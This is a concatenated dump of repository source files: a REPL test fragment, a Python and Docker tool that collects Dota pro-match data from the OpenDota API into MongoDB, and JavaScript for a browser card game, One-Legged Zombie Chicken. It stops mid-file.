// eslint-disable-next-line indent
`if (true) {
if (true) {
'foo'
}
...`
);
expect(await REPL.execute('}')).to
.equal('foo');
});
});
});
| 82bbfbce1ba6f64cdcad1b6cb277c8801b2d266a | [
"JavaScript"
] | 1 | JavaScript | aetheryx/programmatic-repl | ae12b427416cb113d82f7f34f146da6d6f672fa0 | b3aba79153d959d91905dadc40b4ffc663a791bd |
refs/heads/main | <file_sep>MONGODB_IP=IP
MONGODB_PORT=PORT
<file_sep>version: "3"
services:
mongo:
container_name: mongo-data
image: mongo
restart: always
volumes:
- ./data/db/mongo/:/data/db
ports:
- "27017:27017"
mariadb:
container_name: maria-dota
image: mariadb
restart: unless-stopped
volumes:
- ./data/db/maria/:/var/lib/mysql
environment:
- MYSQL_ROOT_PASSWORD=<PASSWORD>
ports:
- "8080:3306"<file_sep>import requests
import time
from tqdm import tqdm
def get_data(match_id):
url = f"https://api.opendota.com/api/matches/{match_id}"
return requests.get(url).json()
def save_data(data, db_collection):
db_collection.insert_one(data)
return True
def get_id_details_not_collected(db_collection_pro_match,
db_collection_details):
list_match_id_pro_match = [
match['match_id'] for match in db_collection_pro_match.find()
]
list_match_id_details = [
match['match_id'] for match in db_collection_details.find()
]
list_match_id_details_not_collected = [
match_id for match_id in list_match_id_pro_match
if match_id not in list_match_id_details
]
return list_match_id_details_not_collected
def get_details(db_collection_pro_match, db_collection_details):
list_match_id_details_not_collected = get_id_details_not_collected(
db_collection_pro_match, db_collection_details)
for match_id in tqdm(list_match_id_details_not_collected):
data = get_data(match_id)
save_data(data, db_collection_details)
time.sleep(1)
<file_sep>import click
from dotenv import load_dotenv, find_dotenv
import os
from pymongo import MongoClient
import get_match_history as gh
import get_match_details as gd
load_dotenv(find_dotenv())
MONGODB_IP = os.environ.get("MONGODB_IP")
MONGODB_PORT = int(os.environ.get("MONGODB_PORT"))
class MongoDB(object):
def __init__(self, mongodb_ip=None, mongodb_port=None):
self.mongodb_ip = mongodb_ip
self.mongodb_port = mongodb_port
self.mongo_client = MongoClient(self.mongodb_ip, self.mongodb_port)
self.mongo_database = self.mongo_client["dota_raw"]
"""Grupo criado para extração dos dados da API de dota"""
@click.group('extract')
@click.pass_context
def extract(ctx):
ctx.obj = MongoDB(MONGODB_IP, MONGODB_PORT)
@extract.command('download_history')
@click.option(
'-t',
'--types',
type=click.STRING,
help='Escolha para baixar os dados de partidas mais antigos ou mais novas')
@click.pass_obj
def download_history(ctx, types):
if types == 'oldest':
click.echo('Baixando histórico antigo de partidas')
gh.get_oldest_matches(ctx.mongo_database['pro_match_history'])
elif types == 'newest':
click.echo('Baixando histórico mais recente de partidas')
gh.get_newest_matches(ctx.mongo_database['pro_match_history'])
@extract.command('download_details')
@click.pass_obj
def download_details(ctx):
gd.get_details(ctx.mongo_database['pro_match_history'],
ctx.mongo_database['pro_match_details'])
if __name__ == '__main__':
extract()
<file_sep>from datetime import datetime
import requests
import time
def get_matches_batch(**kwargs):
"""
Função responsável por retornar o histórico de partidas de dota.
Caso não for passado nenhum parâmetro ele retorna o histórico mais
atualizado. Caso contrário, se passarmos um parâmetro especificando um
id ele retorna outras 100 partidas mais antigas a ela.
"""
url = "https://api.opendota.com/api/proMatches"
if kwargs:
url += f"?less_than_match_id={kwargs['min_match_id']}"
data = requests.get(url).json()
return data
def save_matches(data, db_collection):
"""Salva lista de partidas no banco de dados"""
db_collection.insert_many(data)
return True
def get_oldest_matches(db_collection):
"""Função responsável por baixar os dados de partidas mais antigas."""
qtd_documents = db_collection.count_documents({})
min_match_id = db_collection.find_one(sort=[('match_id', 1)])['match_id']
print(f"Até o momento foram coletados: {qtd_documents} documentos")
print("Iniciando coleta dos dados")
while True:
data_raw = get_matches_batch(min_match_id=min_match_id)
data = [match for match in data_raw if "match_id" in match]
if len(data) == 0:
print(data_raw)
break
save_matches(data, db_collection)
min_match_id = min([match['match_id'] for match in data])
time.sleep(1)
qtd_documents += len(data)
print(
f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - Foram coletados: {qtd_documents} documentos"
)
def checks_database_empty(db_collection):
"""Verifica se a base de dados do mongodb está vazia"""
qtd_documents = db_collection.count_documents({})
if qtd_documents == 0:
return True
return False
def get_newest_matches(db_collection):
"""Verifica se existe informação de alguma partida nova e atualiza a base de dados"""
qtd_documents = db_collection.count_documents({})
if not checks_database_empty(db_collection):
list_match_id = [match['match_id'] for match in db_collection.find()]
max_match_id_mongodb = db_collection.find_one(sort=[('match_id', -1)])['match_id']
else:
list_match_id = []
max_match_id_mongodb = 0
print(f"Até o momento foram coletados: {qtd_documents} documentos")
print("Iniciando coleta dos dados")
data = get_matches_batch()
data = [match for match in data if match['match_id'] not in list_match_id]
if len(data) == 0:
print('Todos os recentes foram baixados')
min_match_id = 0
else:
save_matches(data, db_collection)
qtd_documents += len(data)
min_match_id = min([match['match_id'] for match in data])
while (max_match_id_mongodb < min_match_id) & (len(data) > 0):
list_match_id = [match['match_id'] for match in db_collection.find()]
data_raw = get_matches_batch(min_match_id=min_match_id)
data = [match for match in data_raw if match['match_id'] not in list_match_id]
data = [match for match in data if "match_id" in match]
if len(data) == 0:
print(data_raw)
break
save_matches(data, db_collection)
min_match_id = min([match['match_id'] for match in data])
time.sleep(1)
qtd_documents += len(data)
print(
f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - Foram coletados: {qtd_documents} documentos"
)
| a55ae72682917b8fa55d0b14f1a164888cefdcca | [
"Python",
"YAML",
"Shell"
] | 5 | Shell | matheus-frota/dota-project | c2b370b0c9a6ab8da196e475eaecc97cbea7fed3 | 4d6026762d700b2075c5e7a80c4c022f2046a46e |
refs/heads/master | <repo_name>rslmachado/olzc<file_sep>/examples/api/js/game.js
//TODO: Incorporar metodo de carregar arquivos no Objeto da API
var gamePath = 'assets/';
function loadjscssfile(filename, filetype, withCredentials = true){
var response;
//TODO: Verificar forma alternativa para carregar arquivos de forma sincrona
// Synchronous XMLHttpRequest on the main thread is deprecated
$.ajax({
type: "GET",
url: filename,
crossDomain: true,
xhrFields: { withCredentials: withCredentials },
async: false,
success: function(text) { response= text; }
});
if (filetype=="js") {
var fileref=document.createElement('script');
fileref.setAttribute("type","text/javascript");
fileref.appendChild(document.createTextNode(response));
} else if (filetype=="css") {
var fileref=document.createElement("style");
fileref.setAttribute("rel", "stylesheet");
fileref.setAttribute("type", "text/css");
fileref.appendChild(document.createTextNode(response.replace(/url\("/g, "url(\"" + gamePath)));
}
$("head").prepend(fileref);
}
var tchabs = { game: {} };
tchabs.game.Olzt = function(_, options){
if(!window.jQuery){
alert("Necessário JQuery 1.7.0 ou superior");
return;
}
var defaults = {
players: 4
};
var _settings = $.extend({}, defaults, options);
function random(max = 5){
return Math.floor((Math.random() * max));
}
//loadjscssfile("http://ajax.googleapis.com/ajax/libs/jquery/1.7.0/jquery.min.js", "js", 'jQuery');
loadjscssfile("https://fonts.googleapis.com/css?family=Almendra+SC", "css", false);
loadjscssfile(gamePath + "olzc.css", "css");
loadjscssfile(gamePath + "js/gsap-1.19.0/TweenMax.min.js", "js");
loadjscssfile(gamePath + "game/Game.js", "js");
loadjscssfile(gamePath + "game/screen/ScreenManager.js", "js");
loadjscssfile(gamePath + "game/card/Card.js", "js");
loadjscssfile(gamePath + "game/card/CardType.js", "js");
loadjscssfile(gamePath + "game/card/CardManager.js", "js");
loadjscssfile(gamePath + "game/player/Player.js", "js");
loadjscssfile(gamePath + "game/player/PlayerEvent.js", "js");
loadjscssfile(gamePath + "game/player/PlayersManager.js", "js");
loadjscssfile(gamePath + "game/player/PlayerType.js", "js");
loadjscssfile(gamePath + "game/AIManager.js", "js");
loadjscssfile(gamePath + "game/action/ActionManager.js", "js");
$_ = $(_);
$stage = $("<div class=\"tgo-stage\"></div>");
$_.css({ "position":"relative", "overflow":"hidden" });
$_.append($stage);
currentPage = '';
ScreenManager.init({
target: $stage,
onResize: updateScreen,
updateOnInit: true
});
function updateScreen(offset, center, timer = .5){
var maxWidth = 800;
var maxHeight = 550;
var width = $stage.width();
var height = $stage.height();
var scale = Math.min(width/maxWidth, height/maxHeight);
Game.scale = Math.min(scale, 1);
}
var tl_menu = new TimelineLite({
paused: true,
onStart:function() {
$menu = $("<div class=\"tgo-game-menu\"> \
</div>");
$chicken = $("<div class=\"chicken\"> \
<div class=\"perna\"></div> \
<div class=\"asa esq\"></div> \
<div class=\"asa dir\"></div>\
<div class=\"corpo\"></div>\
<div class=\"lingua\"></div>\
<div class=\"bico_alto\"></div>\
<div class=\"bico_baixo\"></div>\
<div class=\"cabeca\"></div>\
</div> \
");
$buttons = $("<div class=\"buttons\"> \
<button class=\"play\">Jogar</button> \
</div>");
//<button class=\"rules\">Regras</button> \
$menu.append($chicken);
$menu.append($buttons);
$stage.append($menu);
//TweenLite.set($chicken, { css:{opacity: 0, scale: Game.scale, width:($chicken.width() * Game.scale), height:($chicken.height() * Game.scale) } });
var wide = ScreenManager.orientation() == "landscape";
TweenLite.set($chicken, { css:{opacity: 0, margin:((wide ? 15 : 60) * Game.scale) + "% 50% 0",transform:"matrix(" + Game.scale + ", 0, 0, " + Game.scale + ", -" + ($chicken.width() * Game.scale /2) + ", 0)" } });
//(Game.scale-.25) + "%"
console.log(ScreenManager.orientation());
TweenLite.set($buttons, { css:{opacity: 0, marginTop:"-" + ((wide ? 1.07 : 1.33) - Game.scale)/2*100 + "%"} });
$menu.on("click", '.play', function(){ goto('game'); });
$menu.on("click", '.rules', function(){ goto('rules'); });
},
onComplete:function() {
var tl = new TimelineLite({
//delay: random(2),
onComplete:function() {
tl.delay(random(4));
tl.restart(true);
},
onReverseComplete:function(){
}
});
var tl_asas = new TimelineLite({
//delay: random(2),
onComplete:function() {
tl_asas.delay(random(4));
tl_asas.restart(true);
}
});
tl_asas
.add([
TweenLite.to($chicken.find(".asa.dir"), .2, { transform: "rotateZ(-25deg)" }),
TweenLite.to($chicken.find(".asa.esq"), .2, { transform: "rotateZ(25deg)" })
])
.add([
TweenLite.to($chicken.find(".asa.dir"), .2, { transform: "rotateZ(60deg)" }),
TweenLite.to($chicken.find(".asa.esq"), .2, { transform: "rotateZ(-60deg)" })
])
.add([
TweenLite.to($chicken.find(".asa.dir"), .2, { transform: "rotateZ(-25deg)" }),
TweenLite.to($chicken.find(".asa.esq"), .2, { transform: "rotateZ(25deg)" })
])
.add([
TweenLite.to($chicken.find(".asa.dir"), .2, { transform: "rotateZ(60deg)" }),
TweenLite.to($chicken.find(".asa.esq"), .2, { transform: "rotateZ(-60deg)" })
])
.add([
TweenLite.to($chicken.find(".asa.dir"), .2, { transform: "rotateZ(0deg)" }),
TweenLite.to($chicken.find(".asa.esq"), .2, { transform: "rotateZ(0deg)" })
]);
tl.add(function(){
TweenLite.to($chicken.find(".bico_alto"), .5, { transform: "rotateZ(-25deg)" });
TweenLite.to($chicken.find(".bico_baixo"), .5, { transform: "rotateZ(25deg)" });
}, "+=0")
.add(function(){
TweenLite.to($chicken.find(".bico_alto"), .5, { transform: "rotateZ(0deg)" });
TweenLite.to($chicken.find(".bico_baixo"), .5, { transform: "rotateZ(0deg)" });
TweenLite.to($chicken.find(".lingua"), .5, { left: 123, top: 32 });
}, "+=.5")
.add(function(){
TweenLite.to($chicken.find(".lingua"), .5, { left: 162, top: 16 });
}, "+=.5")
.add(function(){
if(Math.random() > .5){
TweenLite.to($chicken.find(".bico_alto"), .5, { transform: "rotateZ(-25deg)" });
TweenLite.to($chicken.find(".bico_baixo"), .5, { transform: "rotateZ(25deg)" });
tl.pause();
tl.delay(random(4));
tl.restart(true);
}
}, "+=.2")
.add(function(){
TweenLite.to($chicken.find(".lingua"), .3, { left: 123, top: 32 });
}, "+=.3")
.add(function(){
TweenLite.to($chicken.find(".lingua"), .3, { left: 162, top: 16 });
}, "+=.3")
.add(function(){
TweenLite.to($chicken.find(".bico_alto"), .3, { transform: "rotateZ(-25deg)" });
TweenLite.to($chicken.find(".bico_baixo"), .3, { transform: "rotateZ(25deg)" });
}, "+=.2");
$(window).focus(function() {
tl.play();
tl_asas.play();
}).blur(function() {
tl.pause();
tl_asas.pause();
});
}
})
.add( function(){
TweenLite.to($chicken, 2, { css:{opacity: 1} });
})
.add( function(){
TweenLite.to($buttons, 2, { css:{opacity: 1} });
/*
TweenLite.set($buttons, { css:{opacity: 1} });
var time = 0;
$buttons.find("button").each(function(){
setTimeout( function(target){ TweenLite.to(target, .5, { width: "100%" }); }, time, $(this));
time += 150;
});*/
}, "+=1" );
var tl_game = new TimelineLite({
paused: true,
onStart:function() {
$game = $("<div class=\"tgo-game-game\"> \
<div class=\"board\"> \
<div class=\"deck\"></div> \
<div class=\"discard\"></div> \
</div> \
</div>");
TweenLite.set($game, { css:{opacity: 0} });
$stage.append($game);
var g = new Game(_settings.players, $game);
//TweenLite.to($game, 1, { css:{opacity: 1} });
TweenLite.to($game, 1, { css:{opacity: 1}, onComplete:g.setup });
},
onComplete:function() {
}
});
function goto(page){
if(currentPage)
$('.tgo-game-' + currentPage).animate({ opacity: 0 }, function(){ $(this).remove(); });
if(page == 'menu')
tl = tl_menu;
else if(page == 'game')
tl = tl_game;
tl.delay(currentPage ? .5 : 0);
tl.play();
currentPage = page;
}
goto("menu");
/*
var tl_intro = new TimelineLite({
onComplete:function() {
}
}).add(
[TweenLite.to($chicken, 2, { y: ($stage.height() - $chicken.height()) })]
);
*/
//tl_intro.play();
//console.log($chicken.height());
//$chicken.hide();
};<file_sep>/src/assets/game/card/Card.js
var Card = function(type, value){
var _images = ["back", "vizinha", "agiota", "necro", "food", "pregador", "chicken"];
var _type = CardType[type];
var _value = value;
var _rotation = 0;
var _gameObject = $("<div class=\"cardWrapper\"> \
<div class=\"card\" style=\"transform: rotateY(180deg);\" > \
<div class=\"" + _images[_type] + " front cardFace\"><h1>" + (_type == CardType.CHICKEN ? value : "") + "</h1></div> \
<div class=\"back cardFace\"></div> \
</div> \
</div>");
var _dimensions = {
height: _gameObject.height(),
width: _gameObject.width(),
cX: 0,
cY: 0
};
TweenLite.set(_gameObject, {scale: Game.scale });
var _show = function(animated = true){ _flip(1, animated); }
var _hide = function(animated = true){ _flip(0, animated); }
var _flip = function(direction = 1, animated = true){ TweenLite.to(_gameObject.find(".card"), (animated ? .5 : 0), {rotationY:(direction == 1 ? 0 : 180), ease:Back.easeOut }); }
var _setRotation = function(rotation, render = true){
if(rotation != null){
if(render)
TweenLite.set(_gameObject, {rotation: (_rotation = rotation) });
var rad = _rotation * Math.PI / 180,
sin = Math.sin(rad),
cos = Math.cos(rad);
_dimensions.width = Math.round(Math.abs(_gameObject.width() * cos) + Math.abs(_gameObject.height() * sin));
_dimensions.height = Math.round(Math.abs(_gameObject.width() * sin) + Math.abs(_gameObject.height() * cos));
_dimensions.cY = Math.round(_gameObject.height() - _dimensions.height);
_dimensions.cX = Math.round(_gameObject.width() - _dimensions.width);
}
return _rotation;
};
var _addEventListener = function(evt, func, args = {}){ args.card = this; _gameObject.on(evt, args, func); }
var _removeEventListener = function(evt, func){ _gameObject.off(evt, func); }
var _dispatchEvent = function(evt, args){ _gameObject.trigger(evt, args); }
var card = {
type: _type,
value: _value,
rotation: _setRotation,
gameObject: _gameObject,
show: _show,
hide: _hide,
dimensions: _dimensions,
addEventListener: _addEventListener,
removeEventListener: _removeEventListener,
dispatchEvent: _dispatchEvent
};
_gameObject.data('card', card);
return card;
};<file_sep>/src/assets/game/screen/ScreenManager.js
var ScreenManager = (function(){
var _onResizeFunctions = [];
var _target;
var init = function(options){
_target = options.target;
onResize(options.onResize);
if(options.updateOnInit)
options.onResize(offset(), center(), 0);
}
var center = function(){
var position = _target.position();
return {
x: position.left + (_target.width() / 2),
y: position.top + (_target.height() / 2)
};
};
var offset = function(){
return {
width: _target.width(),
height: _target.height()
};
};
var doOnResize = function(){
for(var f in _onResizeFunctions)
_onResizeFunctions[f](offset(), center());
};
var onResize = function(func){
if(func)
_onResizeFunctions.push(func);
else
doOnResize();
};
var target = function(){
return _target;
};
var orientation = function(){
return _target.width() > _target.height() ? "landscape" : "portrait";
};
$(window).resize(doOnResize);
return {
center: center,
offset: offset,
onResize: onResize,
init: init,
target: target,
orientation: orientation
};
})();<file_sep>/examples/assets/game/player/PlayersManager.js
var PlayersManager = (function(){
var _players = [];
var _index = 0;
var _target;
var _templates = {
3:[
function(obj){
obj.rotation(0);
TweenLite.set(obj.gameObject, {top: (ScreenManager.offset().height - obj.height() - obj.dimensions.cY) +"px", left: (ScreenManager.center().x - obj.width()/2 - obj.dimensions.cX) +"px"});},
function(obj){
obj.rotation(90);
TweenLite.set(obj.gameObject, {top: (ScreenManager.center().y - obj.height()/2 - obj.dimensions.cY)+"px", left: (-obj.dimensions.cX)+"px"});},
function(obj){
obj.rotation(-90);
TweenLite.set(obj.gameObject, {top: (ScreenManager.center().y - obj.height()/2 - obj.dimensions.cY) +"px", left: (ScreenManager.offset().width - obj.width() - obj.dimensions.cX) + "px"});}
],
4:[
function(obj){
obj.rotation(0);
TweenLite.set(obj.gameObject, {top: (ScreenManager.offset().height - obj.height() - obj.dimensions.cY) +"px", left: (ScreenManager.center().x - obj.width()/2 - obj.dimensions.cX) +"px"});},
function(obj){
obj.rotation(90);
TweenLite.set(obj.gameObject, {top: (ScreenManager.center().y - obj.height()/2 - obj.dimensions.cY)+"px", left: (-obj.dimensions.cX)+"px"});},
function(obj){
obj.rotation(180);
TweenLite.set(obj.gameObject, {top: (-obj.dimensions.cY) +"px", left: (ScreenManager.center().x - obj.width()/2 - obj.dimensions.cX) + "px"});},
function(obj){
obj.rotation(-90);
TweenLite.set(obj.gameObject, {top: (ScreenManager.center().y - obj.height()/2 - obj.dimensions.cY) +"px", left: (ScreenManager.offset().width - obj.width() - obj.dimensions.cX) + "px"});}
],
5:[
function(obj){
obj.rotation(0);
TweenLite.set(obj.gameObject, {top: (ScreenManager.offset().height - obj.height() - obj.dimensions.cY) +"px", left: (ScreenManager.center().x - obj.width()/2 - obj.dimensions.cX) +"px"});},
function(obj){
obj.rotation(90);
TweenLite.set(obj.gameObject, {top: (ScreenManager.center().y - obj.height()/2 - obj.dimensions.cY)+"px", left: (-obj.dimensions.cX)+"px"});},
function(obj){
obj.rotation(180);
TweenLite.set(obj.gameObject, {top: (-obj.dimensions.cY) +"px", left: (ScreenManager.center().x - obj.width()/2)/2 - obj.dimensions.cX + "px"});},
function(obj){
obj.rotation(180);
TweenLite.set(obj.gameObject, {top: (-obj.dimensions.cY) +"px", left: (ScreenManager.center().x - obj.width()/2)/2*3 - obj.dimensions.cX + "px"});},
function(obj){
obj.rotation(-90);
TweenLite.set(obj.gameObject, {top: (ScreenManager.center().y - obj.height()/2 - obj.dimensions.cY) +"px", left: (ScreenManager.offset().width - obj.width() - obj.dimensions.cX) + "px"});}
]
};
var _init = function(options){
_target = options.target;
}
var _allocatePlayers = function() {
var tpl = _templates[Math.max(_players.length, 3)];
for (var i = 0; i < _players.length; i++) {
tpl[i](_players[i]);
_players[i].updateCardsPos(true);
}
}
var _addPlayer = function(type) {
var p = new Player("p" + _players.length, type);
_players.push(p);
p.current(p.actived(false));
_target.append(p.gameObject);
_allocatePlayers();
return p;
}
var _setIndex = function(index) {
if(index != null)
(p = _players[_index = index]).current(p.actived(true));
return _players[_index];
}
var _next = function() {
(p = _players[_index]).current(p.actived(false));
_index = ++_index % _players.length;
(p = _players[_index]).current(p.actived(true));
return p;
}
var _nextPlayerOf = function(p) {
return _players[(_players.indexOf(p) + 1) % _players.length];
}
var _previousPlayerOf = function(p) {
var pos = _players.indexOf(p) - 1;
return _players[pos < 0 ? _players.length - 1 : pos];
}
return {
init: _init,
index: _setIndex,
addPlayer: _addPlayer,
players: _players,
next: _next,
allocatePlayers: _allocatePlayers,
currentPlayer: function(){ return _players[_index]; },
numPlayers: function(){ return _players.length; },
nextPlayer: function() { return _nextPlayerOf(_players[_index]); },
previousPlayer: function() { return _previousPlayerOf(_players[_index]); },
nextPlayerOf: _nextPlayerOf,
previousPlayerOf: _previousPlayerOf
}
})();<file_sep>/README.md
# One-Legged Zombie Chicken versão JavaScript
[One-Legged Zombie Chicken](http://gameanalyticz.blogspot.com.br/2015/03/one-legged-zombie-chicken-o-novo-card.html) é um card game criado pelo [Vince Vader](https://twitter.com/vincevader) em meados de 2015.
Eu utilizei a versão print and play disponibilizada pelo autor para desenvolver essa versão digital como estudo, esta é uma versão funcional da mecânica, porém sem layout ou auxilios visuais (regras, ações, jogador atual, etc) ou otimizações.
Para entender o jogo você pode acessar diretamente as [regras em pdf](http://vincevader.net/onelegged/regras_chicken.pdf).
Alem do jogo, exite uma API com um inicio de interface (apenas um menu inicial), é necessário ser um servidor local, mas um exemplo pode ser visto [aqui](https://rslmachado.github.io/olzc/).
O resultado da partida pode ser visto no console do browser.
<file_sep>/src/assets/game/action/ActionManager.js
var ActionManager = (function(){
var _players = [];
var _playersReady = [];
//======= FoodTruck
var actionFoodTruck = function(){
//console.log("=== actionFoodTruck");
var p = PlayersManager.currentPlayer();
PlayersManager.next();
p.ai.addAction(p.ai.done);
}
//======= Neighbor
var actionNeighbor = function(){
//console.log("=== actionNeighbor");
var p = PlayersManager.currentPlayer();
_players = [p];
_playersReady = [];
p.addEventListener(PlayerEvent.READY, _onPlayersReady);
if(p.type == PlayerType.PLAYER){
for(var i = 0, pp = [PlayersManager.nextPlayer(), PlayersManager.previousPlayer()], j = pp.length; i < j; i++){
pp[i].ai.wait(500, 50);
pp[i].ai.addAction(pp[i].ai.showCards);
}
p.ai.addAction(function(){ $('body').one("click", actionNeighborComplete); });
}else
p.ai.neighbor();
}
var actionNeighborComplete = function(evt){
var p = PlayersManager.currentPlayer();
for(var i = 0, pp = [PlayersManager.nextPlayer(), PlayersManager.previousPlayer()], j = pp.length; i < j; i++){
pp[i].ai.wait(1000);
pp[i].ai.addAction(pp[i].ai.hideCards);
}
p.ai.addAction(p.ai.ready);
}
//======= Necromancer
var actionNecromancer = function(){
//console.log("=== actionNecromancer");
_players = PlayersManager.players;
_playersReady = [];
for(var i = 0, j = _players.length, pp = _players[i]; i < j; pp = _players[++i]){
pp.addEventListener(PlayerEvent.READY, necromancerReady);
if(pp.type == PlayerType.PLAYER){
pp.actived(true);
for(var cc = pp.cards, ic = 0, jc = cc.length, c = cc[ic]; ic < jc; c = cc[++ic])
c.addEventListener("click", actionNecromancerEvent, {player: pp});
}else
pp.ai.addAction(pp.ai.necromancer);
}
}
var actionNecromancerEvent = function(evt){
var c = evt.data.card;
var p = evt.data.player;
if(p.openCards()){
if(p.isSelectCard(c))
p.deselectCard(c);
else
p.selectCard(c);
_addPlayerReady(p, p.selectedCards.length == 2);
if(p.selectedCards.length == 2)
p.ai.ready();
}else
p.openCards(true);
}
var necromancerReady = function(evt){
var p = evt.data.player;
_addPlayerReady(p);
if(isAllPlayerReady()){
_playersReady = [];
for(var ppp = PlayersManager.players, i = 0, j = ppp.length, pp = ppp[i]; i < j; pp = ppp[++i]){
pp.actived(false);
pp.removeEventListener(PlayerEvent.READY, necromancerReady);
for(var cc = pp.cards, ic = 0, jc = cc.length, c = cc[ic]; ic < jc; c = cc[++ic])
c.removeEventListener("click", actionNecromancerEvent);
pp.addEventListener(PlayerEvent.READY, _onPlayersReady);
pp.ai.addAction(pp.ai.passSelectedCardTo, 1000, 500, [PlayersManager.nextPlayerOf(pp)]);
pp.ai.addAction(pp.ai.ready);
}
}
}
//======= Loanshark
var actionLoanshark = function(){
//console.log("=== actionLoanshark");
var p = PlayersManager.currentPlayer();
p.addEventListener(PlayerEvent.READY, _onPlayersReady);
_players = [p];
_playersReady = [];
if(p.type == PlayerType.PLAYER){
for(var ppp = PlayersManager.players, i = 0, j = ppp.length, pp = ppp[i]; i < j; pp = ppp[++i])
for(var cc = pp.cards, ic = 0, jc = cc.length, c = cc[ic]; ic < jc; c = cc[++ic])
c.addEventListener("click", selectLoansharkEvent, { player: pp });
}else
p.ai.loanshark();
}
var _getSelectedLoansharkPlayer = function(){
var p = PlayersManager.currentPlayer();
for(var ppp = PlayersManager.players, i = 0, j = ppp.length, pp = ppp[i]; i < j; pp = ppp[++i])
if(pp != p && pp.selectedCards.length > 0)
return pp;
return null;
}
var selectLoansharkEvent = function(evt) {
var c = evt.data.card;
var tp = evt.data.player;
var p = PlayersManager.currentPlayer();
//Fecha cartas dos players não selecionados
if(tp != p)
for(var ppp = PlayersManager.players, i = 0, j = ppp.length, pp = ppp[i]; i < j; pp = ppp[++i])
if(pp != p && pp != tp)
pp.openCards(false);
if(tp.openCards()){
var p_tmp = _getSelectedLoansharkPlayer();
var c_tmp = null;
if(p == tp){
if(p.hasSelectCard())
p.deselectCard(c_tmp = p.selectedCards[0]);
if(c != c_tmp)
p.selectCard(c);
if(p_tmp && p_tmp.hasSelectCard()){
for(var ppp = PlayersManager.players, i = 0, j = ppp.length, pp = ppp[i]; i < j; pp = ppp[++i])
for(var cc = pp.cards, ic = 0, jc = cc.length, c = cc[ic]; ic < jc; c = cc[++ic])
c.removeEventListener("click", selectLoansharkEvent);
p.ai.addAction(function(p_from, p_to){
p_from.ai.passSelectedCardTo(p_to);
p_to.ai.passSelectedCardTo(p_from);
p_to.openCards(false);
}, 1500, 500, [p, p_tmp]);
p.ai.addAction(p.ai.ready);
}
}else{
//descelecionar caso mude de player
if(p_tmp && p_tmp != tp)
p_tmp.deselectCard(p_tmp.selectedCards[0]);
if(tp.hasSelectCard())
tp.deselectCard(c_tmp = tp.selectedCards[0]);
if(c != c_tmp)
tp.selectCard(c);
if(p.hasSelectCard()){
for(var ppp = PlayersManager.players, i = 0, j = ppp.length, pp = ppp[i]; i < j; pp = ppp[++i])
for(var cc = pp.cards, ic = 0, jc = cc.length, c = cc[ic]; ic < jc; c = cc[++ic])
c.removeEventListener("click", selectLoansharkEvent);
p.ai.addAction(function(p_from, p_to){
p_from.ai.passSelectedCardTo(p_to);
p_to.ai.passSelectedCardTo(p_from);
p_to.openCards(false);
}, 1500, 500, [p, tp]);
p.ai.addAction(p.ai.ready);
}
}
}else
tp.openCards(true);
}
//======= Preacher
var actionPreacher = function(){
//console.log("=== actionPreacher");
var p = PlayersManager.currentPlayer();
_players = PlayersManager.players.slice();
//remove o player atual da lista
_players.splice(_players.indexOf(p), 1);
_playersReady = [];
for(var i = 0, j = _players.length, pp = _players[i]; i < j; pp = _players[++i]){
pp.addEventListener(PlayerEvent.READY, _onPlayersReady);
if(pp.type == PlayerType.PLAYER){
var cards = pp.getCardsWithoutChicken();
if(cards.length == 0){
pp.ai.addAction(pp.ai.showCards);
pp.ai.addAction(pp.ai.ready);
}else{
pp.actived(true);
for(var ic = 0, jc = cards.length, c = cards[ic]; ic < jc; c = cards[++ic])
c.addEventListener("click", actionPreacherEvent, { player: pp });
}
}else{
pp.ai.preacher();
}
}
}
var actionPreacherEvent = function(evt){
var c = evt.data.card;
var p = evt.data.player;
if(p.openCards()){
p.actived(false);
for(var ccc = p.cards, ic = 0, jc = ccc.length, cc = ccc[ic]; ic < jc; cc = ccc[++ic])
cc.removeEventListener("click", actionPreacherEvent);
p.ai.wait(100, 50);
p.ai.addAction(p.discard, 1000, 500, [c]);
p.ai.addAction(p.ai.draw, 700, 300);
p.ai.addAction(p.ai.ready);
}else
p.openCards(true);
}
var doAction = function(action){
setTimeout(function(){
if(action == CardType.FOODTRUCK)
actionFoodTruck();
else if(action == CardType.NEIGHBOR)
actionNeighbor();
else if(action == CardType.PREACHER)
actionPreacher();
else if(action == CardType.NECROMANCER)
actionNecromancer();
else if(action == CardType.LOANSHARK)
actionLoanshark();
}, 600);
}
var _onPlayersReady = function(evt){
var p = evt.data.player;
_addPlayerReady(p);
if(isAllPlayerReady()){
_playersReady = [];
for(var ppp = PlayersManager.players, i = 0, j = ppp.length, pp = ppp[i]; i < j; pp = ppp[++i])
pp.removeEventListener(PlayerEvent.READY, _onPlayersReady);
(p = PlayersManager.currentPlayer()).ai.addAction(p.ai.done);
}
}
var _addPlayerReady = function(p, ready = true){
if(ready && _playersReady.indexOf(p) == -1)
_playersReady.push(p);
else if(!ready && _playersReady.indexOf(p) > -1)
_playersReady.splice(_playersReady.indexOf(p), 1);
}
var isAllPlayerReady = function(){
return _playersReady.length == _players.length;
}
return {
doAction: doAction,
}
})();<file_sep>/src/assets/game/card/CardManager.js
var CardManager = (function(){
var index = -1;
var deck = [];
var deckDiscard = [];
var _basedeck = [];
var _target;
var _targetDiscard;
var _board;
var init = function(obj) {
_target = obj.deck;
_targetDiscard = obj.discard;
_board = obj.board;
for(var t in CardType) {
var qtd = (CardType[t] == CardType.NECROMANCER) ? 5 : 9;
for (var i = 1; i <= qtd; i++)
_basedeck.push(new Card(t, i));
}
index = _basedeck.length - 1;
prepareDeck();
};
var prepareDeck = function(qtdPlayers) {
var count, i_tmp;
var qtd = 6;
index = _basedeck.length - 1;
deck = _basedeck.slice(0);
shuffle(deck);
for(var i=0; i<qtdPlayers; i++) {
count = 0;
for (var j=0; j<qtd; j++) {
i_tmp = (i * qtd);
if (deck[index - (i_tmp + j)].type == CardType.CHICKEN && ++count == 3) {
j = count = 0;
shuffle(deck, i_tmp, deck.length - i_tmp);
}
}
}
updateCardsPos();
TweenLite.set(".cardWrapper", {perspective:800});
TweenLite.set(".card", {transformStyle:"preserve-3d"});
TweenLite.set(".back", {rotationY:-180});
TweenLite.set([".back", ".front"], {backfaceVisibility:"hidden"});
};
function updateCardsPos(timer = 0){
for (var i = 0; i < deck.length; i++) {
_board.append(deck[i].gameObject);
TweenLite.to(deck[i].gameObject, timer, {rotation:0, top: (_target.position().top - i/3) +"px", left: (_target.position().left + i/4) +"px"});
}
for (var i = 0; i < deckDiscard.length; i++) {
_board.append(deckDiscard[i].gameObject);
